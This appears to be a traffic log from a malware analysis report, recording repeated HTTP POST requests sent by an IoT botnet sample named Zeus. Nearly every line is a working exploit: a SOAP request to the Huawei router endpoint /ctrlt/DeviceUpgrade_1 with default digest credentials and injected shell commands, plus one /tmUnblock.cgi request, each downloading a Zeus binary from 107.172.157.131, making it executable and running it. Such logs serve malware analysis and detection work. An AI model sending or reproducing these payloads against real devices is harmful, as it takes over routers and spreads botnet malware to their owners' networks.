Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
